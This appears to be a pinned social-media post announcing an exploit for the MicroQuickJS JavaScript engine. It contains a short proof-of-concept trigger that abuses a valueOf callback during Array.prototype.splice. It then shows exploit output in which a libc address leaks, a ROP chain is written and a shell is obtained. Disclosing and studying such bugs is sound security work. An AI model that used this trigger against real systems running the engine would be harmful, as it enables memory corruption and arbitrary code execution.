Pinned
When MicroQuickJS released, I spent 8.5 hours to summon an Exploit for it. Here is the Fault:
var arr = new Array(30)
var attack = {
valueOf: function() {
arr.length = 0
arr.length = 3
return 10
}
}
arr.splice(attack, 30)
I document the full Ritual Process below
New JS engine, old JS vulns :)
Found a bug and wrote an exploit in 8 hours
645da364a8089c43953b345d3004fc76148cb2f136f74e211429ddc8452846d1 exp-shell.js
./mqjs ./exp-shell.js
LEAKED: 77b6 1c5ff205
LIBC BASE: 77b6 1d600000
STACK PTR: 7ffd 143e1bb8
WROTE ROP CHAIN
$ whoami
nyan
